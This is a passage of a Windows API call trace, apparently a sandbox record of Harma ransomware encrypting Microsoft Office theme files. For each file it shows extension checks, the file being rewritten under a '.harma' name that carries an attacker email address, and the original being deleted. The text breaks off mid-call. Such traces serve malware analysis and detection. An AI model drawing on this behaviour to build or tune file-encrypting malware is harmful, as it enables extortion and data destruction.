[0146.791] ReadFile (in: hFile=0x214, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x8059, lpOverlapped=0x0) returned 1 [0146.793] WriteFile (in: hFile=0x358, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x8060, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x8060, lpOverlapped=0x0) returned 1 [0146.794] ReadFile (in: hFile=0x214, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0146.794] WriteFile (in: hFile=0x358, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.795] SetEndOfFile (hFile=0x358) returned 1 [0146.795] CloseHandle (hObject=0x358) returned 1 [0146.795] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.795] SetEndOfFile (hFile=0x214) returned 1 [0146.799] CloseHandle (hObject=0x214) returned 1 [0146.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0147.101] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx")) returned 1 [0147.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0147.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0147.537] lstrlenW (lpString=".doc") returned 4 [0147.537] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0147.537] lstrlenW (lpString=".docx") returned 5 [0147.537] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0147.537] lstrlenW (lpString=".pdf") returned 4 [0147.537] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0147.538] lstrlenW (lpString=".xls") returned 4 [0147.538] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0147.538] lstrlenW (lpString=".xlsx") returned 5 [0147.538] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0147.538] lstrlenW (lpString=".ppt") returned 4 [0147.538] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0147.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0147.538] lstrlenW (lpString=".zip") returned 4 [0147.538] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0147.538] lstrlenW (lpString=".rar") returned 4 [0147.538] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0147.538] lstrlenW (lpString=".bz2") returned 4 [0147.538] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0147.538] lstrlenW (lpString=".7z") returned 3 [0147.538] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0147.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0147.538] lstrlenW (lpString=".dbf") returned 4 [0147.538] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0147.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0147.538] lstrlenW (lpString=".1cd") returned 4 [0147.538] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0147.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0147.538] lstrlenW (lpString=".jpg") returned 4 [0147.538] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0147.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0147.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0147.539] lstrlenW (lpString=".doc") returned 4 [0147.539] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0147.539] lstrlenW (lpString=".docx") returned 5 [0147.539] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0147.539] lstrlenW (lpString=".pdf") returned 4 [0147.539] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0147.539] lstrlenW (lpString=".xls") returned 4 [0147.539] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0147.539] lstrlenW (lpString=".xlsx") returned 5 [0147.539] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0147.539] lstrlenW (lpString=".ppt") returned 4 [0147.539] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0147.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0147.539] lstrlenW (lpString=".zip") returned 4 [0147.539] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0147.539] lstrlenW (lpString=".rar") returned 4 [0147.539] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0147.539] lstrlenW (lpString=".bz2") returned 4 [0147.539] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0147.539] lstrlenW (lpString=".7z") returned 3 [0147.539] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0147.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0147.539] lstrlenW (lpString=".dbf") returned 4 [0147.539] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0147.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0147.539] lstrlenW (lpString=".1cd") returned 4 [0147.539] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0147.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0147.540] lstrlenW (lpString=".jpg") returned 4 [0147.540] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0147.540] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0147.540] lstrlenW (lpString="Slipstream.eftx") returned 15 [0147.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0148.147] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=27789) returned 1 [0148.147] CloseHandle (hObject=0x350) returned 1 [0148.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx")) returned 0x20 [0148.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0148.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0148.522] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.522] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0148.522] GetLastError () returned 0x0 [0148.522] ReadFile (in: hFile=0x36c, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x6c8d, lpOverlapped=0x0) returned 1 [0148.545] WriteFile (in: hFile=0x348, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x6c90, lpOverlapped=0x0) returned 1 [0148.547] ReadFile (in: hFile=0x36c, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0148.547] WriteFile (in: hFile=0x348, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xf2, lpOverlapped=0x0) returned 1 [0148.547] SetEndOfFile (hFile=0x348) returned 1 [0148.547] CloseHandle (hObject=0x348) returned 1 [0148.547] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.547] SetEndOfFile (hFile=0x36c) returned 1 [0148.551] CloseHandle (hObject=0x36c) returned 1 [0148.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0148.552] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx")) returned 1 [0148.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0148.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0148.552] lstrlenW (lpString=".doc") returned 4 [0148.552] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0148.552] lstrlenW (lpString=".docx") returned 5 [0148.552] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0148.552] lstrlenW (lpString=".pdf") returned 4 [0148.552] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0148.552] lstrlenW (lpString=".xls") returned 4 [0148.552] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0148.552] lstrlenW (lpString=".xlsx") returned 5 [0148.552] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0148.553] lstrlenW (lpString=".ppt") returned 4 [0148.553] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0148.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0148.553] lstrlenW (lpString=".zip") returned 4 [0148.553] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0148.553] lstrlenW (lpString=".rar") returned 4 [0148.553] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0148.553] lstrlenW (lpString=".bz2") returned 4 [0148.553] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0148.553] lstrlenW (lpString=".7z") returned 3 [0148.553] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0148.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0148.553] lstrlenW (lpString=".dbf") returned 4 [0148.553] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0148.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0148.553] lstrlenW (lpString=".1cd") returned 4 [0148.553] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0148.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0148.553] lstrlenW (lpString=".jpg") returned 4 [0148.553] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0148.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0148.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0148.553] lstrlenW (lpString=".doc") returned 4 [0148.553] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0148.553] lstrlenW (lpString=".docx") returned 5 [0148.553] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0148.553] lstrlenW (lpString=".pdf") returned 4 [0148.553] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0148.553] lstrlenW (lpString=".xls") returned 4 [0148.553] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0148.553] lstrlenW (lpString=".xlsx") returned 5 [0148.553] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0148.554] lstrlenW (lpString=".ppt") returned 4 [0148.554] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0148.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0148.554] lstrlenW (lpString=".zip") returned 4 [0148.554] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0148.554] lstrlenW (lpString=".rar") returned 4 [0148.554] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0148.554] lstrlenW (lpString=".bz2") returned 4 [0148.554] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0148.554] lstrlenW (lpString=".7z") returned 3 [0148.554] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0148.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0148.554] lstrlenW (lpString=".dbf") returned 4 [0148.554] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0148.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0148.554] lstrlenW (lpString=".1cd") returned 4 [0148.554] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0148.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0148.554] lstrlenW (lpString=".jpg") returned 4 [0148.554] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0148.554] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0148.554] lstrlenW (lpString="Trek.eftx") returned 9 [0148.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0148.556] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=129924) returned 1 [0148.556] CloseHandle (hObject=0x36c) returned 1 [0148.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx")) returned 0x20 [0148.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0148.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0148.556] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.556] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0148.557] GetLastError () returned 0x0 [0148.557] ReadFile (in: hFile=0x36c, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x1fb84, lpOverlapped=0x0) returned 1 [0148.579] WriteFile (in: hFile=0x348, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x1fb90, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x1fb90, lpOverlapped=0x0) returned 1 [0148.582] ReadFile (in: hFile=0x36c, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0148.582] WriteFile (in: hFile=0x348, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0148.582] SetEndOfFile (hFile=0x348) returned 1 [0148.582] CloseHandle (hObject=0x348) returned 1 [0148.582] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.582] SetEndOfFile (hFile=0x36c) returned 1 [0148.587] CloseHandle (hObject=0x36c) returned 1 [0148.587] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0148.587] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx")) returned 1 [0148.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0148.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0148.587] lstrlenW (lpString=".doc") returned 4 [0148.588] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0148.588] lstrlenW (lpString=".docx") returned 5 [0148.588] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0148.588] lstrlenW (lpString=".pdf") returned 4 [0148.588] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0148.588] lstrlenW (lpString=".xls") returned 4 [0148.588] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0148.588] lstrlenW (lpString=".xlsx") returned 5 [0148.588] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0148.588] lstrlenW (lpString=".ppt") returned 4 [0148.588] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0148.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0148.588] lstrlenW (lpString=".zip") returned 4 [0148.588] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0148.588] lstrlenW (lpString=".rar") returned 4 [0148.588] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0148.588] lstrlenW (lpString=".bz2") returned 4 [0148.588] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0148.588] lstrlenW (lpString=".7z") returned 3 [0148.588] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0148.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0148.588] lstrlenW (lpString=".dbf") returned 4 [0148.588] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0148.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0148.588] lstrlenW (lpString=".1cd") returned 4 [0148.588] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0148.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0148.588] lstrlenW (lpString=".jpg") returned 4 [0148.588] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0148.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0148.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0148.589] lstrlenW (lpString=".doc") returned 4 [0148.589] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0148.589] lstrlenW (lpString=".docx") returned 5 [0148.589] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0148.589] lstrlenW (lpString=".pdf") returned 4 [0148.589] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0148.589] lstrlenW (lpString=".xls") returned 4 [0148.589] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0148.589] lstrlenW (lpString=".xlsx") returned 5 [0148.589] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0148.589] lstrlenW (lpString=".ppt") returned 4 [0148.589] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0148.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0148.589] lstrlenW (lpString=".zip") returned 4 [0148.589] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0148.589] lstrlenW (lpString=".rar") returned 4 [0148.589] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0148.589] lstrlenW (lpString=".bz2") returned 4 [0148.589] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0148.589] lstrlenW (lpString=".7z") returned 3 [0148.589] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0148.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0148.589] lstrlenW (lpString=".dbf") returned 4 [0148.589] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0148.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0148.589] lstrlenW (lpString=".1cd") returned 4 [0148.589] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0148.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0148.590] lstrlenW (lpString=".jpg") returned 4 [0148.590] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0148.590] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0148.590] lstrlenW (lpString="Urban.eftx") returned 10 [0148.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0148.603] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=19611) returned 1 [0148.603] CloseHandle (hObject=0x348) returned 1 [0148.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx")) returned 0x20 [0148.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0148.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0148.604] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.604] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0148.605] GetLastError () returned 0x0 [0148.605] ReadFile (in: hFile=0x348, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x4c9b, lpOverlapped=0x0) returned 1 [0148.657] WriteFile (in: hFile=0x370, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x4ca0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x4ca0, lpOverlapped=0x0) returned 1 [0148.658] ReadFile (in: hFile=0x348, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0148.658] WriteFile (in: hFile=0x370, 